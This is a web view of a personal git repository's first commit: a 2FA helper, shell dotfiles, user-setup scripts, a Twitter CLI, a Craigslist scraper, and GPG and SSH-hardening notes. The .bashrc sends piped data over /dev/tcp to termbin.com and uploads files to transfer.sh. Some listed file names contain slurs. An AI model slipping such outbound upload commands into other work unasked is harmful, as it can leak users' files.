random

- collection of un-sorted bollocks
git clone git://git.acid.vegas/random.git
Log | Files | Refs | Archive

commit e66f25f121546c821f38150b73ed4981674720ee
Author: acidvegas <acid.vegas@acid.vegas>
Date: Thu, 27 Jun 2019 22:39:56 -0400

Initial commit

Diffstat:
A2fa.py | 46++++++++++++++++++++++++++++++++++++++++++++++
Aacidbox/.bashrc | 54++++++++++++++++++++++++++++++++++++++++++++++++++++++
Aacidbox/.scripts/cmds | 21+++++++++++++++++++++
Aacidbox/.scripts/contact | 12++++++++++++
Aacidbox/.scripts/rules | 11+++++++++++
Aacidbox/.scripts/vhosts | 12++++++++++++
Aacidbox/setup | 47+++++++++++++++++++++++++++++++++++++++++++++++
Abtkb.sh | 13+++++++++++++
Aclitter.py | 43+++++++++++++++++++++++++++++++++++++++++++
Acraggle.py | 61+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Adocs/gpg.md | 75+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Adocs/ssh.md | 273+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Agitremote.sh | 15+++++++++++++++
Agitserver.sh | 8++++++++
Airc/anythinggoes/anythinggoes.py | 265+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Airc/anythinggoes/data/banana.txt | 4++++
Airc/anythinggoes/data/crab.txt | 10++++++++++
Airc/anythinggoes/data/crate.txt | 12++++++++++++
Airc/anythinggoes/data/worms.txt | 22++++++++++++++++++++++
Airc/asian-arab.pl | 577+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Airc/asian.pl | 318+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Airc/blackhole.py | 208+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Airc/cancer.py | 501+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Airc/gaymircd.tar.gz | 0
Airc/identd.py | 63+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Airc/netsplit.py | 65+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Airc/nigircd.tar.gz | 0
Airc/unicode.msl | 26++++++++++++++++++++++++++
Airc/znc_isadmin_patch.diff | 176+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Anetworking/ap.py | 24++++++++++++++++++++++++
Anetworking/ddosmonit.sh | 28++++++++++++++++++++++++++++
Anetworking/discover.py | 39+++++++++++++++++++++++++++++++++++++++
Anetworking/mullvad.sh | 171+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Anetworking/riseup.sh | 217+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Anetworking/v6gen.py | 14++++++++++++++
Arekey.sh | 41+++++++++++++++++++++++++++++++++++++++++
Ascales.py | 88+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Astdcap.py | 101+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

38 files changed, 3661 insertions(+), 0 deletions(-)

diff --git a/2fa.py b/2fa.py
@@ -0,0 +1,45 @@
+#!/usr/bin/env python
+# Two-factor Authentication (2FA) Helper - Developed by acidvegas in Python (https://acid.vegas/random)
+
+'''
+Requirements:
+	pyotp  (https://pypi.org/project/pyotp/)
+	qrcode (https://pypi.org/project/qrcode/)
+'''
+
+import io, sys, time
+
+try:
+	import pyotp, qrcode
+except ImportError:
+	raise SystemExit('missing required \'pyotp\' module! (https://pypi.org/project/pyotp/)')
+try:
+	import qrcode
+except ImportError:
+	raise SystemExit('missing required \'qrcode\' module! (https://pypi.org/project/qrcode/)')
+
+def qrgen(data):
+	stdout = sys.stdout
+	sys.stdout = io.StringIO()
+	qr = qrcode.QRCode(border=1)
+	qr.add_data(data)
+	qr.make(fit=True)
+	qr.print_ascii(invert=True)
+	output = sys.stdout.getvalue()
+	sys.stdout = stdout
+	return output
+
+name = input('name   : ')
+issuer = input('issuer : ')
+secret = input('secret : ') or pyotp.random_base32()
+uri = pyotp.totp.TOTP(secret).provisioning_uri(name, issuer)
+qr = qrgen(uri).replace(' ', ' ')[:-1]
+max_len = len(qr.split('\n')[1])
+print(uri+'\n'+qr)
+del name, issuer, uri, qr
+while True:
+	code = pyotp.TOTP(secret).now()
+	seconds = int(time.strftime('%S'))
+	remain = 60-seconds if seconds >= 30 else 30-seconds
+	print(f'{code} ({remain})'.center(max_len),  end='\r')
+	time.sleep(1)
+\ No newline at end of file
diff --git a/acidbox/.bashrc b/acidbox/.bashrc
@@ -0,0 +1,54 @@
+[[ $- != *i* ]] && return
+
+export LC_CTYPE=en_US.UTF-8
+export LC_ALL=en_US.UTF-8
+
+alias backup='rm ~/.backup/*.tar.gz && tar cvf ~/.backup/backup-DATE,tar.gz ~/'
+alias cmds='sh ~/.scripts/cmds'
+alias colors='sh ~/.scripts/colors.sh'
+alias contact='sh ~/.scripts/contact'
+alias diff='diff --color=auto'
+alias dvtm-help='cat ~/.scripts/dvtm-help'
+alias grep='grep --color=auto'
+alias ls='ls --color=auto'
+alias rtach='abduco -a main'
+alias rules='sh ~/.scripts/rules'
+alias startx='abduco -c main sh ~/.scripts/dvtm-status.sh'
+alias tb='(exec 3<>/dev/tcp/termbin.com/9999; cat >&3; cat <&3; exec 3<&-)'
+alias title='echo -ne "\033]0;$*\007"'
+alias vhosts='sh ~/.scripts/vhosts'
+
+extract () {
+	if [ -f $1 ] ; then
+		case $1 in
+			*.tar.bz2) tar xjvf $1   ;;
+			*.tar.gz)  tar xzvf $1   ;;
+			*.bz2)     bzip2 -d $1   ;;
+			*.rar)     unrar2dir $1  ;;
+			*.gz)      gunzip $1     ;;
+			*.tar)     tar xf $1     ;;
+			*.tbz2)    tar xjf $1    ;;
+			*.tgz)     tar xzf $1    ;;
+			*.zip)     unzip2dir $1  ;;
+			*.Z)       uncompress $1 ;;
+			*.7z)      7z x $1       ;;
+			*.ace)     unace x $1    ;;
+			*)         echo "unkown archive format" ;;
+		esac
+	else
+		echo "'$1' is not a valid file"
+	fi
+}
+
+rnd() {
+	cat /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w $1 | head -n 1
+}
+
+transfer() {
+	tmpfile=$( mktemp -t transferXXX )
+	curl -H "Max-Downloads: 1" -H "Max-Days: 1" --progress-bar --upload-file $1 https://transfer.sh/$(basename $1) >> $tmpfile;
+	cat $tmpfile;
+	rm -f $tmpfile;
+}
+
+PS1='\e[1;34m> \e[0;32m\w \e[0;37m: '
diff --git a/acidbox/.scripts/cmds b/acidbox/.scripts/cmds
@@ -0,0 +1,21 @@
+#! /bin/sh
+BLUE='\033[1;34m'
+CYAN='\033[0;36m'
+GREY='\033[1;30m'
+RESET='\033[0m'
+YELLOW='\033[0;33m'
+echo -e "\n[${BLUE}INFORMATION COMMANDS${RESET}]"
+echo -e " ${GREY}* ${CYAN}colors${YELLOW}\tDisplay terminal color support"
+echo -e " ${GREY}* ${CYAN}contact${YELLOW}\tInformation on how to contact the system administrator"
+echo -e " ${GREY}* ${CYAN}rules${YELLOW}\tDisplay the server rules"
+echo -e " ${GREY}* ${CYAN}vhosts${YELLOW}\tList all of the Virtual Hosts"
+echo -e "\n${RESET}[${BLUE}SESSION COMMANDS${RESET}]"
+echo -e " ${GREY}* ${CYAN}dvtm-help${YELLOW}\tInformation about dvtm and how to use it"
+echo -e " ${GREY}* ${CYAN}rtach${YELLOW}\tReattach to your main abduco session ${GREY}(Create session with startx)"
+echo -e " ${GREY}* ${CYAN}startx${YELLOW}\tStart a dvtm session in abduco ${GREY}(See dvtm-help for more information)"
+echo -e "\n${RESET}[${BLUE}OTHER COMMANDS${RESET}]"
+echo -e " ${GREY}* ${CYAN}backup${YELLOW}\tCreate a backup tar file of your home directory ${GREY}(Saves to the ~/.backup/ directory)"
+echo -e " ${GREY}* ${CYAN}extract${YELLOW}\tExtract any archive format ${GREY}(Usage: extract archive.tar.gz)"
+echo -e " ${GREY}* ${CYAN}rnd${YELLOW}\t\tReturn a random string ${GREY}(Usage: rnd <int>)"
+echo -e " ${GREY}* ${CYAN}tb${YELLOW}\t\tUpload a text files contents to termbin ${GREY}(Usage: cat file.txt | tb)"
+echo -e " ${GREY}* ${CYAN}transfer${YELLOW}\tUpload a file to transfer.sh ${GREY}(Usage: transfer file.tar)\n"
diff --git a/acidbox/.scripts/contact b/acidbox/.scripts/contact
@@ -0,0 +1,12 @@
+#! /bin/sh
+BLUE='\033[1;34m'
+CYAN='\033[0;36m'
+GREY='\033[1;30m'
+RESET='\033[0m'
+YELLOW='\033[0;33m'
+echo -e "\n[${BLUE}CONTACT${RESET}]"
+echo -e " ${GREY}* ${CYAN}E-Mail${YELLOW}\tacid.vegas@acid.vegas"
+echo -e " ${GREY}* ${CYAN}Github${YELLOW}\thttps://github.com/acidvegas"
+echo -e " ${GREY}* ${CYAN}IRC${YELLOW}\t\tirc.supernets.org #acidbox"
+echo -e " ${GREY}* ${CYAN}Keybase${YELLOW}\thttps://keybase.io/acidvegas"
+echo -e " ${GREY}* ${CYAN}Twitter${YELLOW}\thttps://twitter.com/acidvegas\n"
diff --git a/acidbox/.scripts/rules b/acidbox/.scripts/rules
@@ -0,0 +1,11 @@
+#! /bin/sh
+BLUE='\033[1;34m'
+CYAN='\033[0;36m'
+GREY='\033[1;30m'
+RESET='\033[0m'
+YELLOW='\033[0;33m'
+echo -e "\n[${BLUE}RULES${RESET}]"
+echo -e " ${GREY}*${YELLOW} This is a private system that you are not to give out access to anyone"
+echo -e "   without permission from the system admin. No illegal files or activites."
+echo -e " ${GREY}*${YELLOW} Avoid denial of service attacks out of respect for other users on the system."
+echo -e " ${GREY}*${YELLOW} Stay in your home directory, keep the system clean, and make regular backups.\n"
diff --git a/acidbox/.scripts/vhosts b/acidbox/.scripts/vhosts
@@ -0,0 +1,12 @@
+#! /bin/sh
+BLUE='\033[1;34m'
+CYAN='\033[0;36m'
+GREY='\033[1;30m'
+RESET='\033[0m'
+YELLOW='\033[0;33m'
+echo -e "\n[${BLUE}VIRTUAL HOSTS${RESET}]"
+echo -e " ${GREY}* ${CYAN}ip address 1 ${YELLOW}\tvirtual.hostname1.com"
+echo -e " ${GREY}* ${CYAN}ip address 2 ${YELLOW}\tvirtual.hostname2.com"
+echo -e " ${GREY}* ${CYAN}ip address 3 ${YELLOW}\tvirtual.hostname3.com"
+echo -e " ${GREY}* ${CYAN}ip address 4 ${YELLOW}\tvirtual.hostname4.com"
+echo -e " ${GREY}* ${CYAN}ip address 5 ${YELLOW}\tvirtual.hostname5.com\n"
diff --git a/acidbox/setup b/acidbox/setup
@@ -0,0 +1,46 @@
+#!/bin/sh
+set -e
+
+function setup_motd() {
+	RESET='\033[0m'
+	GREEN='\033[0;32m'
+	BGREEN='\033[1;32m'
+	YELLOW='\033[0;33m'
+	CYAN='\033[0;36m'
+	GREY='\033[1;30m'
+	RED='\033[1;31m'
+	BLUE='\033[1;34m'
+	UBLUE='\033[4;34m'
+	echo "╔═══════════════════════╦══════════════════════════════════════════════════════════════╗
+║${GREEN}  ▄▄▄·  ▄▄· ▪  ·▄▄▄▄   ${RESET}║                    ${RED}Connection Notice${RESET}                         ║
+║${GREEN} ▐█ ▀█ ▐█ ▌▪██ ██▪ ██  ${RESET}╟──────────────────────────────────────────────────────────────╢
+║${GREEN} ▄█▀▀█ ██ ▄▄▐█·▐█· ▐█▌ ${RESET}║                                                              ║
+║${GREEN} ▐█ ▪▐▌▐███▌▐█▌██. ██  ${RESET}║ ${YELLOW}This system is for the use of authorized users only.${RESET}         ║
+║${GREEN}  ▀  ▀ ·▀▀▀ ▀▀▀▀▀▀▀▀•  ${RESET}║ ${YELLOW}All connections will be monitored and logged by the system.${RESET}  ║
+║${GREEN} ▄▄▄▄·       ▐▄• ▄     ${RESET}║                                                              ║
+║${GREEN} ▐█ ▀█▪▪      █▌█▌▪    ${RESET}║ ${YELLOW}Connection issues? Contact ${UBLUE}${BLUE}acid.vegas@acid.vegas${YELLOW} for help.${RESET}   ║
+║${GREEN} ▐█▀▀█▄ ▄█▀▄  ·██·     ${RESET}║                                                              ║
+║${GREEN} ██▄▪▐█▐█▌.▐▌▪▐█·█▌    ${RESET}║ ${YELLOW}Right about now, the funk soul brudda. Check it out now...${RESET}   ║
+║${GREEN} ·▀▀▀▀  ▀█▄▀▪•▀▀ ▀▀    ${RESET}║                                                              ║
+╚═══════════════════════╩══════════════════════════════════════════════════════════════╝" > /etc/issue
+	echo "${YELLOW}Hello ${CYAN}$(whoami)${YELLOW}! You are now connected to ${RED}$(hostname)
+${YELLOW}Type ${BGREEN}cmds${YELLOW} to see a list of commands available.${RESET}
+
+[${BLUE}RULES${RESET}]
+ ${GREY}*${YELLOW} This is a private system that you are not to give out access to anyone
+   without permission from the system admin. No illegal files or activites.
+ ${GREY}*${YELLOW} Avoid denial of service attacks out of respect for other users on the system.
+ ${GREY}*${YELLOW} Stay in your home directory, keep the system clean, and make regular backups." > /etc/motd
+}
+
+function setup_user() {
+	sudo useradd -m -G ssh -s /bin/bash $1
+	mkdir /home/$1/.scripts
+	wget -O /home/$1/.bashrc             https://git.supernets.org/acidvegas/acidbox/blob/master/files/.bashrc
+	wget -O /home/$1/.scripts/cmds       https://git.supernets.org/acidvegas/acidbox/blob/master/files/cmds
+	wget -O /home/$1/.scripts/contact    https://git.supernets.org/acidvegas/acidbox/blob/master/files/contact
+	wget -O /home/$1/.scripts/rules      https://git.supernets.org/acidvegas/acidbox/blob/master/files/rules
+	wget -O /home/$1/.scripts/vhosts     https://git.supernets.org/acidvegas/acidbox/blob/master/files/vhosts
+	echo "clear && reset" > /home/$1/.bash_logout
+	echo "[[ -f ~/.bashrc ]] && . ~/.bashrc" > /home/$1/.bash_profile
+}
+\ No newline at end of file
diff --git a/btkb.sh b/btkb.sh
@@ -0,0 +1,12 @@
+#!/bin/sh
+sudo pacman -S bluez bluez-utils
+sudo systemctl enable bluetooth && sudo systemctl start bluetooth
+sudo sed -i 's/#AutoEnable=false/AutoEnable=true/' /etc/bluetooth/main.conf
+bluetoothctl power on
+bluetoothctl agent KeyboardOnly
+bluetoothctl pairable on
+bluetoothctl scan on
+bluetoothctl pair CC:C5:0A:20:91:5B
+bluetoothctl trust CC:C5:0A:20:91:5B
+bluetoothctl connect CC:C5:0A:20:91:5B
+bluetoothctl scan off
+\ No newline at end of file
diff --git a/clitter.py b/clitter.py
@@ -0,0 +1,42 @@
+#!/usr/bin/env python
+# CLI Twitter - Developed by acidvegas in Python (https://acid.vegas/random)
+
+'''
+Requirements:
+	Tweepy (http://pypi.python.org/pypi/tweepy)
+'''
+
+import sys
+
+consumer_key        = 'CHANGEME'
+consumer_secret     = 'CHANGEME'
+access_token        = 'CHANGEME'
+access_token_secret = 'CHANGEME'
+
+if len(sys.argv) < 2:
+	raise SystemExit('[!] - Missing command line arguments! (Usage: clitter.py <tweet>)')
+else:
+	tweet = ' '.join(sys.argv[1:])
+try:
+	import tweepy
+except ImportError:
+	raise SystemExit('[!] - Failed to import the Tweepy library! (http://pypi.python.org/pypi/tweepy)')
+try:
+	auth = tweepy.OAuthHandler(consumer_key, consumer_secret)
+	auth.set_access_token(access_token, access_token_secret)
+	api = tweepy.API(auth, wait_on_rate_limit=True, wait_on_rate_limit_notify=True)
+	if not api.verify_credentials():
+		raise tweepy.TweepError
+except tweepy.TweepError as ex:
+	raise SystemExit(f'[!] - Failed to login to Twitter! ({ex})')
+else:
+	me = api.me()
+if len(tweet) > 280:
+	raise SystemExit('[!] - Tweet is too long!')
+else:
+	try:
+		api.update_status(tweet)
+		tweet = api.user_timeline(id=me.id, count=1)[0]
+		print(f'[+] - Tweet has been posted! (https://twitter.com/{me.screen_name}/status/{tweet.id})')
+	except tweepy.TweepError as ex:
+		raise SystemExit(f'Failed to post Tweet! ({ex})')
+\ No newline at end of file
diff --git a/craggle.py b/craggle.py
@@ -0,0 +1,61 @@
+#!/usr/bin/env python
+# CraigsList Parser - Developed by acidvegas in Python (https://acid.vegas/random)
+
+'''
+Random script to parse all the countries, states, cities, & sections/sub-sections on CraigsList
+'''
+
+import re, time, urllib.request
+
+def between(source, start, stop):
+	data = re.compile(start + '(.*?)' + stop, re.IGNORECASE|re.MULTILINE).search(source)
+	return data.group(1) if data else False
+
+def get_source(url):
+	source = urllib.request.urlopen(url, timeout=10)
+	charset = source.headers.get_content_charset()
+	return source.read().decode(charset) if charset else source.read().decode()
+
+db        = {'category':dict(),'subcat':dict()}
+source    = get_source('http://www.craigslist.org/about/sites?lang=en&cc=us')
+countries = re.findall('<h1><a name="(.*?)"></a>(.*?)</h1>', source, re.IGNORECASE|re.MULTILINE)
+source    = source.replace('\n', '').replace('\r','')
+main_data = dict()
+statess = 0
+citiess = 0
+for country in countries:
+	main_data[country[0].lower()] = dict()
+	data   = between(source, '<h1><a name="{0}"></a>{1}</h1>'.format(country[0], country[1]),'</a></li>                    </ul>                </div>            </div>')
+	states = re.findall('<h4>(.*?)</h4>', data, re.IGNORECASE|re.MULTILINE)
+	statess += len(states)
+	for state in states:
+		main_data[country[0].lower()][state.lower()] = dict()
+		state_data = between(source, f'<h4>{state}</h4>', '</ul>')
+		cities = re.findall('<li><a href="(.*?)">(.*?)</a></li>', state_data, re.IGNORECASE|re.MULTILINE)
+		citiess += len(cities)
+		for city in cities:
+			main_data[country[0].lower()][state.lower()][city[1]] = city[0].split('/?')[0]
+			new_source = get_source(city[0].split('/?')[0])
+			new_source = new_source.replace('\n', '').replace('\r','')
+			categories = re.findall('data-alltitle="all (.*?)" data-cat="(.*?)">', new_source, re.IGNORECASE|re.MULTILINE)
+			for category in categories:
+				db['category'][category[0]] = db['category'][category[0]]+1 if category[0] in db['category'] else 1
+				if category[0] != 'resumes':
+					cat = category[0].replace(' ','-')
+					category_data  = between(new_source, f'<h4 class="ban"><a href="/d/{cat}/search', '</ul></div></div>')
+					try:
+						sub_categories = re.findall('span class="txt">(.*?)<sup class', category_data, re.IGNORECASE|re.MULTILINE)
+						for sub_category in sub_categories:
+							print(f'{country[1]} | {state} | {city[1]} | {category[0]} | {sub_category}')
+							db['subcat'][sub_category] = db['subcat'][sub_category]+1 if sub_category in db['subcat'] else 1
+					except:
+						print('\n\n\nerror !!!')
+						print(category_data)
+						print(category)
+						input('')
+print(f'Country : {len(main_data)}')
+print(f'State   : {statess}')
+print(f'City    : {citiess}')
+print(str(db['category']))
+print('\n\n\n')
+print(str(db['subcat']))
diff --git a/docs/gpg.md b/docs/gpg.md
@@ -0,0 +1,74 @@
+# Create a key
+`gpg --expert --full-generate-key`
+* RSA (set your own capabilities)
+* Set to Certify only.
+* 4096
+* 2020-01-01
+
+`gpg --expert --edit-key <userid>`
+* `addkey` (Create 3, one for sign, encrypt, authenticate)
+* `adduid`
+* `save`
+
+# Backup key
+* `mv ~/.gnupg/secring.gpg ~/.backup/gpg/`
+* `mv ~/.gnupg/pubring.gpg ~/.backup/gpg/`
+* `gpg -a --export-secret-key <userid> > secret_key.gpg`
+* `gpg -a --export-secret-subkeys <userid> > secret_subkeys.gpg`
+* `gpg --delete-secret-keys <userid>`
+* `gpg --import secret_subkeys.gpg`
+* `gpg --list-secret-keys`
+* `rm secret_subkeys.gpg`
+
+# Revoke cert
+* `gpg -a --output revoke.asc --gen-revoke '<fingerprint>'`
+
+# Import/Export public key
+* `gpg --import public.key`
+* `gpg --output public.key --armor --export <userid>`
+
+# Import/Export private key
+* `gpg --export-secret-keys --armor <userid> > privkey.asc`
+* `gpg --import privkey.asc`
+
+# Edit keys
+* `gpg --edit-key <userid>`
+
+# List (secret) keys
+* `gpg --list-keys`
+* `gpg --list-secret-keys`
+
+# Encrypt/Decrypt
+* `gpg --recipient user-id --encrypt doc`
+* `gpg --output doc --decrypt doc.gpg`
+
+or...
+
+* `gpg -c --s2k-cipher-algo AES256 --s2k-digest-algo SHA512 --s2k-count 65536 doc`
+* `gpg --output doc --decrypt doc.gpg`
+
+# Signing
+* `gpg --output doc.sig --sign doc`
+* `gpg --output doc.sig --clearsign doc`
+* `gpg --output doc.sig --detach-sig doc`
+
+# Verify
+* `gpg --verify doc.sig`
+* `gpg --verify archlinux-version.iso.sig`
+* `gpg --verify archlinux-version.iso.sig /path/to/archlinux-version.iso`
+* `gpg --with-fingerprint <keyfile>`
+
+# Send keys
+* `gpg --send-keys <userid>`
+* `gpg --refresh-keys`
+
+# Get keys
+* `gpg --recv-key '<fingerprint>'`
+* `gpg --fingerprint '<fingerprint>'`
+
+# Sign key
+* `gpg --lsign-key '<fingerprint>'`
+
+or...
+
+* `gpg --sign-key '<fingerprint>'`
+\ No newline at end of file
diff --git a/docs/ssh.md b/docs/ssh.md
@@ -0,0 +1,273 @@
+A full write-up on OpenSSH usage with security in mind.
+
+---
+
+# Table of Contents
+* [Generating An SSH Key Pair](#generating-an-ssh-key-pair)
+	- [Linux](#linux)
+	- [Windows](#windows)
+* [Getting Your Client To Use Your SSH Key](#getting-your-client-to-use-your-ssh-key)
+	- [Linux](#linux)
+	- [Windows](#windows)
+* [Setup Server](#setup-server)
+	- [Harden OpenSSH Daemon](#harden-openssh-daemon)
+	- [Create A New User On The Server](#create-a-new-user-on-the-server)
+	- [Copy Your Public Key To Your Shell](#copy-your-public-key-to-your-shell)
+* [Extra Security](#extra-security)
+	- [Allow Incoming SSH Connections Through IPTables](#allow-incoming-ssh-connections-through-iptables)
+	- [Lock Users In A Chroot Jail Environment](#lock-users-in-a-chroot-jail-environment)
+	- [Port Knocking](#port-knocking)
+		- [Setup Server](#setup-server-1)
+			- [Using IPTables](#using-iptables)
+			- [Using Knockd](#using-knockd)
+		- [Knocking Your Server](#knocking-your-server)
+			- [Using Nmap](#using-nmap)
+			- [Using knockd](#using-knockd-1)
+	- [Jump Hosts](#jump-hosts)
+
+**Note:** The port *65150* is used in this write-up as an example of how to use a non-standard ports.
+
+---
+
+## Generating An SSH Key Pair
+### Linux
+Generate a key using the **Ed25519** algorithm with 500 KDF rounds:
+* `ssh-keygen -t ed25519 -a 500 -C "$(whoami)@$(hostname)-$(date -I)"`
+
+This will generate 2 files in your `~/.ssh` directory. A public key *(.pub)* and a private key.
+
+You only need to backup your private key. Public keys can be regenerated from the private key:
+* `ssh-keygen -y -f ~/.ssh/acidvegas@pi-2017-01-01`
+
+Copy your public key to clipboard:
+* `cat ~/.ssh/acidvegas@pi-2017-01-01.pub`
+
+### Windows
+Download & run [puttygen](https://the.earth.li/~sgtatham/putty/latest/w32/puttygen.exe).
+
+Once opened, change the key type to **ED25519** under the *Parameters* box, and then click the *Generate* button.
+
+Click the *Save private key* button to save your key.
+
+You only need to backup your private key. Public keys can be regenerated by clicking `File -> Load private key`.
+
+Copy the data in the box labeled *Public key for pasting into OpenSSH authorized_keys file*.
+
+## Getting Your Client To Use Your SSH Key
+### Linux
+* `ssh -p 65150 -i ~/.ssh/acidvegas@pi-2017-01-01 acidvegas@192.168.1.10`
+
+or...
+
+* `nano ~/.ssh/config`
+```
+Host acidbox
+	HostName 192.168.1.10
+	Port 65150
+	User acidvegas
+	IdentityFile ~/.ssh/acidvegas@pi-2017-01-01
+	IdentitiesOnly yes
+```
+* `chmod 600 ~/.ssh/config`
+* Usage: `ssh acidbox`
+
+### Windows
+Download & run the [putty](https://the.earth.li/~sgtatham/putty/latest/w32/putty.exe) client.
+
+Once opened, select `Connection -> SSH -> Auth` from the *Category* box. Click the *Browse* button and select your private key.
+
+Select *Session* from the *Category* box. Change the *Host Name (or IP address)* and *Port* to your server.
+
+Name the session in *Saved Sessions* box and click the *Save* button.
+
+SSH into your server by clicking your saved session from the *Saved Sessions* box, and clicking the *Open* button.
+
+---
+
+## Setup Server
+### Harden OpenSSH Daemon
+* `nano /etc/ssh/sshd_config`
+```
+AddressFamily any
+AllowAgentForwarding no
+AllowGroups ssh
+AllowTcpForwarding no
+AuthorizedKeysFile /etc/ssh/authorized_keys/%u
+#Banner /etc/issue
+ChallengeResponseAuthentication no
+Ciphers chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr
+ClientAliveInterval 0
+#ClientAliveCountMax 0
+HostKey /etc/ssh/ssh_host_ed25519_key
+KexAlgorithms curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256
+LoginGraceTime 30
+MACs hmac-sha2-512-etm@openssh.com,hmac-sha2-256-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-512,hmac-sha2-256,umac-128@openssh.com
+MaxAuthTries 2
+MaxSessions 1
+MaxStartups 3:50:10
+PasswordAuthentication no
+PermitRootLogin no
+Port 65150
+PrintLastLog no
+PrintMotd no
+Protocol 2
+```
+* `mkdir /etc/ssh/authorized_keys`
+* `rm /etc/ssh/ssh_host_*_key`
+* `ssh-keygen -t ed25519 -f /etc/ssh/ssh_host_ed25519_key`
+
+**Options**:
+* The `AddressFamily` option can be:
+	- **inet** for IPv4 only.
+	- **inet6** for IPv6 only.
+	- **any** for both.
+* The `AuthorizedKeysFile` option can be commented out to use the standard `~/.ssh/authorized_keys` file instead.
+* The `Banner` option can be un-commented if the `/etc/issue` file exists. This is shown before the user authenticates.
+* The `ClientAliveCountMax` option can be un-commented & the `ClientAliveInterval` option can be changed to **1800** to enforce a 15 minute idle timeout.
+* The `MaxSessions` option can be increased if there are additional users on the server.
+* The `Port` option should be set to a non-standard port *(High-value port number recommended)*. 
+* The `PrintMotd` option can be changed to **yes** if the file `/etc/motd` exists. This is shown after the user authenticates.
+
+### Create A New User On The Server
+Create a new user on the server with a password:
+* `useradd -m -s /bin/bash acidvegas`
+* `passwd acidvegas`
+
+Create an **ssh** group and add your user to the group.
+* `groupadd ssh`
+* `gpasswd -a acidvegas ssh`
+
+### Copy Your Public Key To Your Shell
+* `nano /etc/ssh/authorized_keys/acidvegas` *(Paste your public key data in this file)*
+
+**Note:** This is only required if you are using the `AuthorizedKeysFile /etc/ssh/authorized_keys/%u` line in your `sshd_config` file. For using the standard `~/.ssh/authorized_keys` file, do the follow:
+* `mkdir ~/.ssh`
+* `chmod 700 ~/.ssh`
+* `chown -R $USER ~/.ssh`
+* `nano ~/.ssh/authorized_keys` *(Paste the copied public key data into this file)*
+* `chmod 400 ~/.ssh/authorized_keys`
+* Optionally, you can pass the immutable flag to prevent changes:
+	- `chattr +i ~/.ssh`
+	- `chattr +i ~/.ssh/authorized_keys`
+
+---
+
+# Extra Security
+### Allow Incoming SSH Connections Through IPTables
+```
+iptables -A INPUT  -i eth0 -p tcp --dport 65150 -m conntrack --ctstate NEW,ESTABLISHED -j ACCEPT
+iptables -A OUTPUT -o eth0 -p tcp --sport 65150 -m conntrack --ctstate ESTABLISHED     -j ACCEPT
+```
+
+You can also allow only incomming connection from a specific IP address instead by changing the first line above to:
+```
+iptables -A INPUT -i eth0 -p tcp -s 192.168.1.99 --dport 65150 -m conntrack --ctstate NEW,ESTABLISHED -j ACCEPT
+```
+
+### Lock Users In A Chroot Jail Environment
+See [mkchroot](https://github.com/acidvegas/mkchroot) repository for details.
+
+### Port Knocking
+The following is an example which uses the port knocking sequence `8881 -> 7777 -> 9991` to open port 65150 for 30 seconds.
+
+##### Server 
+###### Using IPTables
+* `nano /etc/iptables/iptables.rules`
+```
+*filter
+:INPUT DROP [0:0]
+:FORWARD DROP [0:0]
+:OUTPUT ACCEPT [0:0]
+:TRAFFIC - [0:0]
+:SSH-INPUT - [0:0]
+:SSH-INPUTTWO - [0:0]
+# TRAFFIC chain for Port Knocking. The correct port sequence in this example is  8881 -> 7777 -> 9991; any other sequence will drop the traffic 
+-A INPUT -j TRAFFIC
+-A TRAFFIC -p icmp --icmp-type any -j ACCEPT
+-A TRAFFIC -m state --state ESTABLISHED,RELATED -j ACCEPT
+-A TRAFFIC -m state --state NEW -m tcp -p tcp --dport 65150 -m recent --rcheck --seconds 30 --name SSH2 -j ACCEPT
+-A TRAFFIC -m state --state NEW -m tcp -p tcp -m recent --name SSH2 --remove -j DROP
+-A TRAFFIC -m state --state NEW -m tcp -p tcp --dport 9991 -m recent --rcheck --name SSH1 -j SSH-INPUTTWO
+-A TRAFFIC -m state --state NEW -m tcp -p tcp -m recent --name SSH1 --remove -j DROP
+-A TRAFFIC -m state --state NEW -m tcp -p tcp --dport 7777 -m recent --rcheck --name SSH0 -j SSH-INPUT
+-A TRAFFIC -m state --state NEW -m tcp -p tcp -m recent --name SSH0 --remove -j DROP
+-A TRAFFIC -m state --state NEW -m tcp -p tcp --dport 8881 -m recent --name SSH0 --set -j DROP
+-A SSH-INPUT -m recent --name SSH1 --set -j DROP
+-A SSH-INPUTTWO -m recent --name SSH2 --set -j DROP 
+-A TRAFFIC -j DROP
+COMMIT
+```
+* `systemctl daemon-reload `
+* `systemctl restart iptables`
+
+###### Using Knockd
+Download & install the [knockd](http://www.zeroflux.org/projects/knock) package.
+
+* `nano /etc/knockd.conf`
+```
+[options]
+	logfile = /var/log/knockd.log
+[opencloseSSH]
+	sequence      = 8881:tcp,7777:tcp,9991:tcp
+	seq_timeout   = 5
+	tcpflags      = syn,ack
+	start_command = /usr/bin/iptables -A TCP -s %IP% -p tcp --dport 65150 -j ACCEPT
+	cmd_timeout   = 10
+	stop_command  = /usr/bin/iptables -D TCP -s %IP% -p tcp --dport 65150 -j ACCEPT
+```
+
+##### Knocking Your Server
+###### Using Nmap
+Download & install the [nmap](https://nmap.org/) package.
+
+* `nano knock.sh`
+```bash
+#!/bin/bash
+HOST=$1
+shift
+for ARG in "$@"
+do
+	nmap -Pn --host_timeout 100 --max-retries 0 -p $ARG $HOST
+done
+```
+* Usage: `sh knock.sh example.server.com 8881 7777 9991`
+
